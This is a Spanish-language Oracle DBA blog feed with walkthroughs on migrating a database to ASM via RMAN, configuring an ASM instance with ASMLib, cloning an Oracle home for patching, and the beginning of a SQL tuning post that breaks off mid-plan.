channel ORA_DISK_1: SID=120 device type=DISK
channel ORA_DISK_1: starting datafile copy
input datafile file number=00001 name=/u01/app/oracle/oradata/orcl/system01.dbf
output file name=+DAT/orcl/datafile/system.265.677909423 tag=MIGRACION_ASM RECID=2 STAMP=677909527
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:01:55
channel ORA_DISK_1: starting datafile copy
input datafile file number=00002 name=/u01/app/oracle/oradata/orcl/sysaux01.dbf
output file name=+DAT/orcl/datafile/sysaux.264.677909533 tag=MIGRACION_ASM RECID=3 STAMP=677909606
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:01:26
channel ORA_DISK_1: starting datafile copy
input datafile file number=00005 name=/u01/app/oracle/oradata/orcl/example01.dbf
output file name=+DAT/orcl/datafile/example.258.677909617 tag=MIGRACION_ASM RECID=4 STAMP=677909630
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:00:15
channel ORA_DISK_1: starting datafile copy
input datafile file number=00003 name=/u01/app/oracle/oradata/orcl/undotbs01.dbf
output file name=+DAT/orcl/datafile/undotbs1.267.677909633 tag=MIGRACION_ASM RECID=5 STAMP=677909641
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:00:15
channel ORA_DISK_1: starting datafile copy
copying current control file
output file name=+DAT/orcl/controlfile/backup.260.677909647 tag=MIGRACION_ASM RECID=6 STAMP=677909648
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:00:03
channel ORA_DISK_1: starting datafile copy
input datafile file number=00004 name=/u01/app/oracle/oradata/orcl/users01.dbf
output file name=+DAT/orcl/datafile/users.263.677909651 tag=MIGRACION_ASM RECID=7 STAMP=677909651
channel ORA_DISK_1: datafile copy complete, elapsed time: 00:00:01
channel ORA_DISK_1: starting incremental level 0 datafile backup set
channel ORA_DISK_1: specifying datafile(s) in backup set
including current SPFILE in backup set
channel ORA_DISK_1: starting piece 1 at 04/02/2009 04:14:12
channel ORA_DISK_1: finished piece 1 at 04/02/2009 04:14:13
piece handle=+DAT/orcl/backupset/2009_02_04/nnsnn0_migracion_asm_0.259.677909653 tag=MIGRACION_ASM comment=NONE
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:01
Finished backup at 04/02/2009 04:14:13

2. Creamos una copia del spfile en ASM, para lo cual lo restauramos a partir del backup obtenido en el paso anterior. Recuerda que si obtenemos un backup total o si en él está incluido el tablespace system, el spfile y el control file son automáticamente respaldados.

RMAN> restore spfile to "+DAT/orcl/spfileorcl.ora";

Starting restore at 04/02/2009 04:39:36
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=153 device type=DISK

channel ORA_DISK_1: starting datafile backup set restore
channel ORA_DISK_1: restoring SPFILE
output file name=+DAT/orcl/spfileorcl.ora
channel ORA_DISK_1: reading from backup piece +DAT/orcl/backupset/2009_02_04/nnsnn0_migracion_asm_0.259.677909653
channel ORA_DISK_1: piece handle=+DAT/orcl/backupset/2009_02_04/nnsnn0_migracion_asm_0.259.677909653 tag=MIGRACION_ASM
channel ORA_DISK_1: restored backup piece 1
channel ORA_DISK_1: restore complete, elapsed time: 00:00:07
Finished restore at 04/02/2009 04:39:44

3. Bajamos la base de datos para poder hacer algunos ajustes a la configuración de la instancia.

RMAN> shutdown immediate

database closed
database dismounted
Oracle instance shut down

4. Reemplazamos el spfile.ora por un init.ora que referencia al spfile que acabamos de copiar en ASM.

[oracle@urania ~]$ cd $ORACLE_HOME/dbs
[oracle@urania dbs]$ rm spfileorcl.ora
[oracle@urania dbs]$ more initorcl.ora
SPFILE='+DAT/orcl/spfileorcl.ora'

5. Levantamos la instancia solamente (nomount) y hacemos ajustes a los parámetros control_files, db_create_file_dest y db_recovery_file_dest para que ahora apunten a ubicaciones al interior de ASM.

SYS@orcl> startup nomount;
ORACLE instance started.

Total System Global Area  318046208 bytes
Fixed Size                  1313120 bytes
Variable Size             180356768 bytes
Database Buffers          130023424 bytes
Redo Buffers                6352896 bytes

SYS@orcl> alter system set control_files='+DAT','+FRA' scope=spfile;

System altered.

SYS@orcl> alter system set db_create_file_dest='+DAT';

System altered.

SYS@orcl> alter system set db_recovery_file_dest='+FRA';

System altered.

6. Para que estos cambios surtan efecto reiniciamos la instancia (nomount).

SYS@orcl> startup force nomount;
ORACLE instance started.

Total System Global Area  318046208 bytes
Fixed Size                  1313120 bytes
Variable Size             180356768 bytes
Database Buffers          130023424 bytes
Redo Buffers                6352896 bytes

7. Usamos RMAN para crear los control files dentro de ASM en base al existente fuera de él.

RMAN> restore controlfile from '/u01/app/oracle/oradata/orcl/control01.ctl';

Starting restore at 04/02/2009 04:45:23
using target database control file instead of recovery catalog
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=151 device type=DISK

channel ORA_DISK_1: copied control file copy
output file name=+DAT/orcl/controlfile/current.269.677911525
output file name=+FRA/orcl/controlfile/current.265.677911527
Finished restore at 04/02/2009 04:45:28

8. Ahora montamos la base de datos y procedemos a actualizar el control file para que los datafiles existentes en ASM sean usados en lugar de los existentes fuera de él.

RMAN> alter database mount;

database mounted
released channel: ORA_DISK_1

RMAN> switch database to copy;

datafile 1 switched to datafile copy "+DAT/orcl/datafile/system.265.677909423"
datafile 2 switched to datafile copy "+DAT/orcl/datafile/sysaux.264.677909533"
datafile 3 switched to datafile copy "+DAT/orcl/datafile/undotbs1.267.677909633"
datafile 4 switched to datafile copy "+DAT/orcl/datafile/users.263.677909651"
datafile 5 switched to datafile copy "+DAT/orcl/datafile/example.258.677909617"

9. Como es posible que entre el momento que obtuvimos el backup del paso 1 y el momento en que hicimos el switch de los datafiles a ASM, se haya generado redo, hacemos un recover para tener los datafiles debidamente actualizados.

RMAN> recover database;

Starting recover at 04/02/2009 04:46:58
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=149 device type=DISK

starting media recovery
media recovery complete, elapsed time: 00:00:04

Finished recover at 04/02/2009 04:47:05

10. Los tempfiles no son respaldados y por tanto no son recuperables, lo que hace necesario recrearlos manualmente, ubicándose en ASM.

RMAN> run {
2> set newname for tempfile 1 to '+DAT';
3> switch tempfile all;
4> }

executing command: SET NEWNAME

renamed tempfile 1 to +DAT in control file

11. Si teníamos habilitado el block change tracking (es una "mejor práctica" si usamos Enterprise Edition), debemos deshabilitarlo temporalmente para habilitarlo nuevamente pero ahora dentro de ASM.

SYS@orcl> alter database disable block change tracking;

Database altered.

SYS@orcl> alter database enable block change tracking using file '+DAT';

Database altered.

12. Si estamos usando flashback logs, debemos proceder de forma similar al paso 11. Ojo que los flashback logs existentes fuera de ASM no pueden ser trasladados hacia ASM.

SYS@orcl> alter database flashback off;

Database altered.

SYS@orcl> alter database flashback on;

Database altered.

13. Finalmente podemos abrir la base de datos

SYS@orcl> alter database open;

Database altered.

14. Los más observadores ya lo habrán notado: los redo logs aún están fuera de ASM, hay que crear nuevos y deshacernos de los antiguos.

SYS@orcl> select a.group#, b.member, a.status
  2  from v$log a, v$logfile b
  3  where a.group#=b.group#
  4  order by a.group#;

 GROUP# MEMBER                                   STATUS
------- ---------------------------------------- ---------
      1 /u01/app/oracle/oradata/orcl/redo01.log  CURRENT
      2 /u01/app/oracle/oradata/orcl/redo02.log  INACTIVE
      3 /u01/app/oracle/oradata/orcl/redo03.log  INACTIVE

6 rows selected.

SYS@orcl> alter database add logfile size 50M;

Database altered.

SYS@orcl> alter database add logfile size 50M;

Database altered.

SYS@orcl> alter database add logfile size 50M;

Database altered.

SYS@orcl> alter database drop logfile group 2;

Database altered.

SYS@orcl> alter database drop logfile group 3;

Database altered.

SYS@orcl> alter system switch logfile;

System altered.

SYS@orcl> alter system checkpoint;

System altered.

SYS@orcl> alter database drop logfile group 1;

Database altered.

SYS@orcl> select a.group#, b.member, a.status
  2  from v$log a, v$logfile b
  3  where a.group#=b.group#
  4  order by a.group#;

 GROUP# MEMBER                                     STATUS
------- ------------------------------------------ ---------
      4 +DAT/orcl/onlinelog/group_4.267.680822441  CURRENT
      4 +FRA/orcl/onlinelog/group_4.258.680822445  CURRENT
      5 +DAT/orcl/onlinelog/group_5.268.680822463  INACTIVE
      5 +FRA/orcl/onlinelog/group_5.259.680822465  INACTIVE
      6 +FRA/orcl/onlinelog/group_6.260.680822473  INACTIVE
      6 +FRA/orcl/onlinelog/group_6.260.680822475  INACTIVE

15. Por el lado de la base de datos ya está todo concluido, la operatividad es normal y todos los archivos requeridos ya están residiendo en ASM, pero opcionalmente podemos mover los backups al disk group +FRA.

RMAN> run {
2> backup as copy archivelog all delete input;
3> backup backupset all delete input;
4> }

Starting backup at 04/02/2009 04:57:43
current log archived
using target database control file instead of recovery catalog
allocated channel: ORA_DISK_1
channel ORA_DISK_1: SID=115 device type=DISK
channel ORA_DISK_1: starting archived log copy
input archived log thread=1 sequence=2 RECID=1 STAMP=677907178
output file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_2.275.677912267 RECID=5 STAMP=677912275
channel ORA_DISK_1: archived log copy complete, elapsed time: 00:00:16
channel ORA_DISK_1: deleting archived log(s)
archived log file name=/u01/app/oracle/flash_recovery_area/ORCL/archivelog/2009_02_04/o1_mf_1_2_4rlnomdm_.arc RECID=1 STAMP=677907178
channel ORA_DISK_1: starting archived log copy
input archived log thread=1 sequence=3 RECID=2 STAMP=677908766
output file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_3.260.677912283 RECID=6 STAMP=677912287
channel ORA_DISK_1: archived log copy complete, elapsed time: 00:00:08
channel ORA_DISK_1: deleting archived log(s)
archived log file name=/u01/app/oracle/flash_recovery_area/ORCL/archivelog/2009_02_04/o1_mf_1_3_4rlp7bnl_.arc RECID=2 STAMP=677908766
channel ORA_DISK_1: starting archived log copy
input archived log thread=1 sequence=4 RECID=3 STAMP=677912036
output file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_4.262.677912291 RECID=7 STAMP=677912291
channel ORA_DISK_1: archived log copy complete, elapsed time: 00:00:03
channel ORA_DISK_1: deleting archived log(s)
archived log file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_4.257.677912033 RECID=3 STAMP=677912036
channel ORA_DISK_1: starting archived log copy
input archived log thread=1 sequence=5 RECID=4 STAMP=677912263
output file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_5.257.677912295 RECID=8 STAMP=677912294
channel ORA_DISK_1: archived log copy complete, elapsed time: 00:00:01
channel ORA_DISK_1: deleting archived log(s)
archived log file name=+FRA/orcl/archivelog/2009_02_04/thread_1_seq_5.272.677912263 RECID=4 STAMP=677912263
Finished backup at 04/02/2009 04:58:15

Starting backup at 04/02/2009 04:58:19
using channel ORA_DISK_1
input backup set count=1 STAMP=677908586 creation_time=04/02/2009 03:56:26
channel ORA_DISK_1: starting piece 1 at 04/02/2009 04:58:20
channel ORA_DISK_1: backup piece /u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_nnnd0_BACKUP_ORCL.LOCALD_0_4rlp1wqr_.bkp
piece handle=+FRA/orcl/backupset/2009_02_04/nnndf0_0.272.677912301 comment=NONE
channel ORA_DISK_1: finished piece 1 at 04/02/2009 04:59:05
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:45
deleted backup piece
backup piece handle=/u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_nnnd0_BACKUP_ORCL.LOCALD_0_4rlp1wqr_.bkp RECID=1 STAMP=677908588
input backup set count=2 STAMP=677908753 creation_time=04/02/2009 03:59:13
channel ORA_DISK_1: starting piece 1 at 04/02/2009 04:59:06
channel ORA_DISK_1: backup piece /u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_ncsn0_BACKUP_ORCL.LOCALD_0_4rlp752m_.bkp
piece handle=+FRA/orcl/backupset/2009_02_04/ncsnf0_0.270.677912347 comment=NONE
channel ORA_DISK_1: finished piece 1 at 04/02/2009 04:59:09
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:02
deleted backup piece
backup piece handle=/u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_ncsn0_BACKUP_ORCL.LOCALD_0_4rlp752m_.bkp RECID=2 STAMP=677908757
input backup set count=3 STAMP=677908767 creation_time=04/02/2009 03:59:27
channel ORA_DISK_1: starting piece 1 at 04/02/2009 04:59:09
channel ORA_DISK_1: backup piece /u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_annnn_BACKUP_ORCL.LOCALD_0_4rlp7hsk_.bkp
piece handle=+FRA/orcl/backupset/2009_02_04/annnf0_0.256.677912351 comment=NONE
channel ORA_DISK_1: finished piece 1 at 04/02/2009 04:59:17
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:07
deleted backup piece
backup piece handle=/u01/app/oracle/flash_recovery_area/ORCL/backupset/2009_02_04/o1_mf_annnn_BACKUP_ORCL.LOCALD_0_4rlp7hsk_.bkp RECID=3 STAMP=677908767
input backup set count=10 STAMP=677909652 creation_time=04/02/2009 04:14:12
channel ORA_DISK_1: starting piece 1 at 04/02/2009 04:59:17
channel ORA_DISK_1: backup piece +DAT/orcl/backupset/2009_02_04/nnsnn0_migracion_asm_0.259.677909653
piece handle=+FRA/orcl/backupset/2009_02_04/nnnnf0_0.271.677912357 comment=NONE
channel ORA_DISK_1: finished piece 1 at 04/02/2009 04:59:18
channel ORA_DISK_1: backup set complete, elapsed time: 00:00:01
deleted backup piece
backup piece handle=+DAT/orcl/backupset/2009_02_04/nnsnn0_migracion_asm_0.259.677909653 RECID=4 STAMP=677909652
Finished backup at 04/02/2009 04:59:19

16. Con los archivos de la base de datos, los archive logs y los backups residiendo en ASM, no hay problema en eliminar los archivos que aún quedan en los file systems.

[oracle@urania ~]$ rm -rf /u01/app/oracle/oradata/orcl
[oracle@urania ~]$ rm -rf /u01/app/oracle/flash_recovery_area/ORCL

¡Tarea concluída!, no fué tan dificil y como beneficio contamos ahora con una base de datos operando exclusivamente sobre ASM. Tengan en cuenta que no es necesario que todo esto se haga en el mismo momento, el backup tipo copia lo pueden obtener en el momento que deseen y mientras no pierdan los archive logs y/o sus backups, el resto de pasos lo pueden postergar para el momento más oportuno, con lo que la suspensión del servicio se reduce al tiempo que tome ejecutar el procedimiento de switch (paso 8) y recover (paso 9), que en la práctica puede representar unos pocos minutos. En un siguiente Post les mostraré lo fácil que resulta hacer esta migración usando Database Console y también cómo realizar un upgrade a ASM, hasta la próxima...

Post Relacionados:

Bye bye raw device, ¡bienvenido ASM!

noreply@blogger.com (Enrique Orbegozo) — Thu, 05 Feb 2009 20:09:00 +0000

Durante décadas se han venido usando raw devices en un intento de obtener el mejor desempeño posible para las bases de datos Oracle. La alternativa eran los file systems que si bien eran fáciles de administrar, tenían un desempeño que dejaba mucho que desear. Con el transcurrir de los años los fabricantes han venido mejorando los file systems, agregándoles direct I/O y concurrent I/O por ejemplo, al punto que los han hecho casi tan eficientes como los raw devices. Por su parte Oracle dio la sorpresa cuando anunció la aparición de ASM, ofreciendo el alto desempeño de los raw devices con la facilidad de administración de los file systems, amén de muchas otras adiciones que lo hacen único y deseable.

El 2008 recibimos la noticia, mediante el hoy desaparecido Note 578455.1, que a partir de Oracle 12g los raw devices ya no serán soportados y más recientemente, con el Note 754305.1, se nos indica que con Oracle 11gR2 ya no se ofrecerán los raw devices desde DBCA/OUI, por lo que tendremos que recurrir a la línea de comandos si queremos crear una base de datos que los emplee. Debemos entonces ir pensando en abandonar los raw devices pero, ¿qué usar en su reemplazo? En mi opinión la mejor alternativa es ASM y por ello empiezo hoy esta serie de Posts; en este primero les mostraré la instalación del software requerido, las configuraciones necesarias y la creación de una instancia ASM, en un siguiente Post les mostraré cómo trasladar manualmente la base de datos hacia ASM y en un último Post les mostraré cómo hacer lo mismo con Database Console así como el procedimiento a seguir para hacer upgrade a ASM.

Estaré usando una máquina virtual en VMWare, que ejecuta RHEL 5.2 de 32 bits y cuenta con 6 discos virtuales de 1GB cada uno, los cuales serán gestionados por ASM. Si bien voy a emplear Oracle 11.1.0.7, los pasos han sido debidamente probados con Oracle 10.2.0.1 y 10.2.0.4 por lo que no debe haber problemas si siguen estos pasos con versiones 10.2.0.1 o superiores. Veamos entonces la secuencia de pasos a seguir para contar con una instancia ASM operativa.

1. Particionando los discos.

Se requiere que los discos estén debidamente particionados para que puedan ser usados, para ello haremos uso del utilitario fdisk. Primero veamos los nombres de los dispositivos:

root@urania ~]# ls /dev/sd*
/dev/sda  /dev/sda1  /dev/sda2  /dev/sdb  /dev/sdc  /dev/sdd  /dev/sde  /dev/sdf  /dev/sdg

A partir de /dev/sdb hasta /dev/sdg, son los discos que asignaremos a ASM, creemos entonces las particiones.

[root@urania ~]# fdisk /dev/sdb

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-130, default 1):
Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-130, default 130):
Using default value 130

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.

Este mismo procedimiento se aplica a los restantes 5 discos para finalmente obtener 6 particiones:

[root@urania ~]# ls /dev/sd*
/dev/sda  /dev/sda2  /dev/sdb1  /dev/sdc1  /dev/sdd1 /dev/sde1  /dev/sdf1  /dev/sdg1
/dev/sda1 /dev/sdb   /dev/sdc   /dev/sdd   /dev/sde  /dev/sdf   /dev/sdg

2. Instalación y configuración del software ASMLib.

Para ello debemos empezar por identificar la versión del kernel en uso.

[root@urania ~]# uname -r
2.6.18-92.el5

Con este dato procedemos a descargar los rpm respectivos y los instalamos.

[root@urania ~]# ls
oracleasm-2.6.18-92.el5-2.0.5-1.el5.i686.rpm
oracleasm-support-2.1.2-1.el5.i386.rpm
oracleasmlib-2.0.3-1.el5.i386.rpm

[root@urania ~]# rpm -Uvh oracleasm-support-2.1.2-1.el5.i386.rpm \
> oracleasmlib-2.0.3-1.el5.i386.rpm \
> oracleasm-2.6.18-92.el5-2.0.5-1.el5.i686.rpm
Preparing...                ########################################### [100%]
   1:oracleasm-support      ########################################### [ 33%]
   2:oracleasm-2.6.18-92.el5########################################### [ 67%]
   3:oracleasmlib           ########################################### [100%]

Con el software ya instalado es hora de configurarlo.

[root@urania ~]# /etc/init.d/oracleasm configure
Configuring the Oracle ASM library driver.

This will configure the on-boot properties of the Oracle ASM library
driver.  The following questions will determine whether the driver is
loaded on boot and what permissions it will have.  The current values
will be shown in brackets ('[]').  Hitting  without typing an
answer will keep that current value.  Ctrl-C will abort.

Default user to own the driver interface [oracle]:
Default group to own the driver interface [dba]:
Start Oracle ASM library driver on boot (y/n) [n]: y
Scan for Oracle ASM disks on boot (y/n) [y]:
Writing Oracle ASM library driver configuration: done
Initializing the Oracle ASMLib driver:                     [  OK  ]
Scanning the system for Oracle ASMLib disks:               [  OK  ]

Ahora hay que etiquetar las particiones para que sean reconocidas como dispositivos habilitados para ASM.

[root@urania ~]# /etc/init.d/oracleasm createdisk DISK1 /dev/sdb1
Marking disk "DISK1" as an ASM disk:                      [  OK  ]

Esto se repite para las 5 particiones restantes para finalmente obtener:

root@urania ~]# /etc/init.d/oracleasm listdisks
DISK1
DISK2
DISK3
DISK4
DISK5
DISK6

3. Creación de la instancia ASM

Esta tarea se realiza con ayuda del utilitario DBCA.

Se nos solicita ejecutar un script para configurar e iniciar el servicio CSS.

[root@urania ~]# sh /u01/app/oracle/product/11.1.0/db_2/bin/localconfig add
/etc/oracle does not exist. Creating it now.
Successfully accumulated necessary OCR keys.
Creating OCR keys for user 'root', privgrp 'root'..
Operation successful.
Configuration for local CSS has been initialized

Adding to inittab
Startup will be queued to init within 90 seconds.
Checking the status of new Oracle init process...
Expecting the CRS daemons to be up within 600 seconds.
CSS is active on these nodes.
        urania
CSS is active on all nodes.
Oracle CSS service is installed and running under init(1M)

Retornamos a DBCA y ahora ingresamos el password para el usuario SYS (de ASM no de la base de datos)

Con este dato DBCA procede a crear e iniciar la instancia ASM

Ahora podemos crear los Disk Groups; en esta ocasión serán 2 los que crearemos.

Al primero lo llamaremos DAT, le asignaremos 2 discos y servirá para contener la base de datos. Escogemos external redundancy para aprovechar todo el espacio, pero estaremos sin mirror por lo que es algo que no deberías usar en Producción, salvo el mirror lo estés manejando a nivel del arreglo de discos.

Al segundo lo llamaremos FRA, le asignaremos los 4 discos restantes y servirá para contener el Flash Recovery Area, nuevamente escogemos external redundancy.

Para culminar presionamos el botón [Finish] y ¡listo!, hemos terminado con esta primera parte, ya tenemos una instancia ASM plenamente operativa y lista para albergar nuestra base de datos, pero como les adelantara, eso lo veremos en un siguiente Post.

Post Relacionados:

De cómo un clon nos puede ayudar con un patch

noreply@blogger.com (Enrique Orbegozo) — Mon, 02 Feb 2009 21:08:00 +0000

Si vamos a aplicar un patch o un patch set, una de las tareas previas es detener todos los procesos que estén ejecutándose en el Oracle home directory involucrado. Esto implica que debemos dejar de prestar servicio para iniciar el patching, proceso que si bien es relativamente fácil y sencillo, está sujeto a eventuales fallas que, de ocurrir, pueden llevar a una situación de crisis en la cual el DBA debe identificar el problema y tratar de resolverlo, u optar por dar marcha atrás.

Para evitar pasar por una situación como ésta, es una buena práctica proceder al patching sobre un Oracle home directory nuevo, uno que sea un "Clon" del que está en producción, y así no tener que suspender el servicio sino hasta que estemos seguros que la primera parte del patching se ha logrado de forma satisfactoria. A continuación veremos cómo en sólo 3 pasos, podemos tener en pocos minutos un Clon completamente soportado y listo para ser objeto del patching.

Clonación al estilo Oracle

Antes de iniciar la clonación, tomemos en cuenta las siguientes suposiciones iniciales:

Oracle home directory original: /u01/app/oracle/product/10.2.0/db_1
Oracle home directory clonado: /u01/app/oracle/product/10.2.0/db_2

1. Copiar el software desde el Oracle home directory original hacia el clonado.

Esto se debe hacer como el usuario root para que los permisos no se pierdan durante el proceso.

[root@urania ~]# cp -Rp /u01/app/oracle/product/10.2.0/db_1 /u01/app/oracle/product/10.2.0/db_2

Si la clonación se realizará en otro servidor, puedes usar tar para generar un archivo con los contenidos del Oracle home directory original:

[root@urania ~]# cd /u01/app/oracle/product/10.2.0/db_1
[root@urania db_1]# tar -cvf /stage/10gR2.tar .

Luego transfieres el archivo generado (con ftp por ejemplo) y una vez esté disponible en el nuevo servidor lo reconstituyes:

[root@caliope ~]# cd /u01/app/oracle/product/10.2.0/db_1
[root@caliope db_1]# tar -xvf /stage/10gR2.tar

2. Clonar la instalación con Oracle Universal Installer (OUI).

Esta parte se hace con el usuario oracle. Existen 2 formas de hacerlo, ambas producen el mismo resultado:

a. Usando clone.pl

[oracle@urania ~]$ cd /u01/app/oracle/product/10.2.0/db_2/clone/bin
[oracle@urania bin]$ perl clone.pl ORACLE_HOME="/u01/app/oracle/product/10.2.0/db_2" ORACLE_HOME_NAME="OraDb10g_home2"

Properties file /config/cs.properties was not found. Failed loading correponding properties../runInstaller -silent -clone -waitForCompletion "ORACLE_HOME=/u01/app/oracle/product/10.2.0/db_2" "ORACLE_HOME_NAME=OraDb10g_home2"
Starting Oracle Universal Installer...

No pre-requisite checks found in oraparam.ini, no system pre-requisite checks will be executed.
Preparing to launch Oracle Universal Installer from /tmp/OraInstall2009-01-31_02-14-44PM. Please wait ...Oracle Universal Installer, Version 10.2.0.1.0 Production
Copyright (C) 1999, 2005, Oracle. All rights reserved.

You can find a log of this install session at:
 /u01/app/oracle/oraInventory/logs/cloneActions2009-01-31_02-14-44PM.log
............................................................... 100% Done.

Installation in progress (Sat Jan 31 14:15:07 PET 2009)
.........................................................................
Install successful

Linking in progress (Sat Jan 31 14:15:20 PET 2009)
.                                                                74% Done.
Link successful

Setup in progress (Sat Jan 31 14:17:14 PET 2009)
....................                                            100% Done.
Setup successful

End of install phases.(Sat Jan 31 14:17:21 PET 2009)
WARNING:The following configuration scripts
/u01/app/oracle/product/10.2.0/db_2/root.sh
need to be executed as root for configuring the system.

The cloning of OraDb10g_home2 was successful.
Please check '/u01/app/oracle/oraInventory/logs/cloneActions2009-01-31_02-14-44PM.log' for more details.

b. Usando runInstaller

[oracle@urania ~]$ cd /u01/app/oracle/product/10.2.0/db_2/oui/bin
[oracle@urania bin]$ ./runInstaller -clone -silent -ignorePreReq ORACLE_HOME="/u01/app/oracle/product/10.2.0/db_2" ORACLE_HOME_NAME="OraDb10g_home2"

Starting Oracle Universal Installer...

No pre-requisite checks found in oraparam.ini, no system pre-requisite checks will be executed.
Preparing to launch Oracle Universal Installer from /tmp/OraInstall2009-01-31_04-10-24PM. Please wait ...Oracle Universal Installer, Version 10.2.0.1.0 Production
Copyright (C) 1999, 2005, Oracle. All rights reserved.

You can find a log of this install session at:
 /u01/app/oracle/oraInventory/logs/cloneActions2009-01-31_04-10-24PM.log
............................................................... 100% Done.

Installation in progress (Sat Jan 31 16:10:49 PET 2009)
.........................................................................
Install successful

Linking in progress (Sat Jan 31 16:11:03 PET 2009)
.                                                                74% Done.
Link successful

Setup in progress (Sat Jan 31 16:13:03 PET 2009)
....................                                            100% Done.
Setup successful

End of install phases.(Sat Jan 31 16:13:08 PET 2009)
WARNING:The following configuration scripts
/u01/app/oracle/product/10.2.0/db_2/root.sh
need to be executed as root for configuring the system.

The cloning of OraDb10g_home2 was successful.
Please check '/u01/app/oracle/oraInventory/logs/cloneActions2009-01-31_04-10-24PM.log' for more details.

Si estamos clonando un Oracle home directory en 11g debemos tener en cuenta que es requerido indicar también ORACLE_BASE:

[oracle@urania ~]$ cd /u01/app/oracle/product/10.2.0/db_2/clone/bin
[oracle@urania bin]$ perl clone.pl ORACLE_BASE="/u01/app/oracle" ORACLE_HOME="/u01/app/oracle/product/10.2.0/db_2" ORACLE_HOME_NAME="OraDb10g_home2"

3. Ejecutar los scripts de configuración requeridos en el paso anterior.

Si la clonación se ha realizado sobre un servidor que ya tenía Oracle installado el mensaje que se obtiene al concluir el paso previo es:

WARNING:The following configuration scripts
/u01/app/oracle/product/10.2.0/db_2/root.sh
need to be executed as root for configuring the system.

En caso se hubiese tratado de un servidor en el cual se está instalando Oracle por primera vez, se obtiene:

WARNING:A new inventory has been created in this session. However, it has not yet been registered as the central inventory of this system.
To register the new inventory please run the script '/u01/app/oracle/oraInventory/orainstRoot.sh' with root privileges.
If you do not register the inventory, you may not be able to update or patch the products you installed.

The following configuration scripts
/u01/app/oracle/product/10.2.0/db_2/root.sh
need to be executed as root for configuring the system.

Cualquiera fuese el caso, hay que ejecutar los respectivos scripts bajo el usuario root, asumiendo que se trata del último caso:

[root@caliope ~]# sh /u01/app/oracle/oraInventory/orainstRoot.sh

Changing permissions of /u01/app/oracle/oraInventory to 770.
Changing groupname of /u01/app/oracle/oraInventory to oinstall.
The execution of the script is complete

[root@caliope ~]# sh /u01/app/oracle/product/10.2.0/db_2/root.sh

Running Oracle10 root.sh script...

The following environment variables are set as:
    ORACLE_OWNER= oracle
    ORACLE_HOME=  /u01/app/oracle/product/10.2.0/db_2

Enter the full pathname of the local bin directory: [/usr/local/bin]:
   Copying dbhome to /usr/local/bin ...
   Copying oraenv to /usr/local/bin ...
   Copying coraenv to /usr/local/bin ...

Creating /etc/oratab file...
Entries will be added to the /etc/oratab file as needed by
Database Configuration Assistant when a database is created
Finished running generic part of root.sh script.
Now product-specific root actions will be performed.

¡Felicitaciones!, si llegaste a éste punto entonces ya tienes un Oracle home directory debidamente clonado sobre el cual puedes aplicar el patch o patch set que necesitas, sin tener que suspender el servicio (por el momento). En cuanto termines el patching sobre este Oracle home directory ya puedes suspender el servicio (de ser necesario) y seguir con los pasos restantes que se señalen en el archivo Installation Notes que acompaña al patch/patch set.

Conclusiones

Es altamente recomendable realizar el patching sobre un Clon del Oracle home directory original. Esto permite retrasar la suspensión del servicio hasta el momento en que tengamos el patch debidamente aplicado sobre el software, así nos evitaremos desagradables situaciones de tensión en caso algo salga mal.

Post Relacionados:

El query dinámico de los pobres

noreply@blogger.com (Enrique Orbegozo) — Sat, 24 Jan 2009 16:55:00 +0000

Luego de casi dos semanas sin postear, les presento un caso curioso que me ocurrió en estos días. Pues ocurre que como parte de una tarea de afinamiento de aplicaciones que me solicitó un cliente, encontré con ayuda de dbms_monitor y tkprof, que la sentencia responsable del problema de desempeño era una muy peculiar, se trataba de un query que siendo estático estaba escrito de tal forma que pretendía satisfacer varios criterios de búsqueda, esto sin saber de antemano cuáles han sido proporcionados. Les mostraré cómo esta forma de programar genera código con un pésimo desempeño y veremos desde luego cómo resolverlo, todo esto empleando nuestras conocidas tablas emp y dept.

El Problema Original

Observen el siguiente query detenidamente:

SELECT e.empno, e.sal, d.dname
  FROM emp e JOIN dept d USING (deptno)
 WHERE ( e.empno = :empno OR :empno IS NULL )
   AND ( e.mgr = :mgr OR :mgr IS NULL )

El programador no sabe si el usuario final proporcionará los valores de :empno y :mgr por lo que, luego de meditarlo, recurre a un "artificio" que le permite escribir una sola sentencia que satisfaga todos los escenarios posibles. Misión cumplida, el query compila y trae resultados, eso es suficiente, lo pasa a producción y sigue con sus tareas, con la plena convicción de que ha hecho un "faenón" .

Pues bien, cuando la aplicación empieza a ser utilizada los problemas aparecen: aún cuando el usuario final proporciona los datos de la clave primaria de la tabla emp, los resultados tardan mucho en aparecer, y es que no podía ser de otra forma, la sentencia está escrita de forma que el Optimizador se confunde y no saca provecho de los índices existentes:

SQL> variable empno number;
SQL> variable mgr number;
SQL> execute :empno := 7369;
SQL> execute :mgr := NULL;
SQL> SELECT e.empno, e.sal, d.dname
  2  FROM emp e JOIN dept d USING (deptno)
  3  WHERE ( e.empno = :empno OR :empno IS NULL )
  4  AND ( e.mgr = :mgr OR :mgr IS NULL );

-----------------------------------------------------------------------------
| Id  | Operation                    | Name    | Rows  | Bytes | Cost (%CPU)|
-----------------------------------------------------------------------------
|   0 | SELECT STATEMENT             |         |       |       |     4 (100)|
|   1 |  NESTED LOOPS                |         |     1 |    28 |     4   (0)|
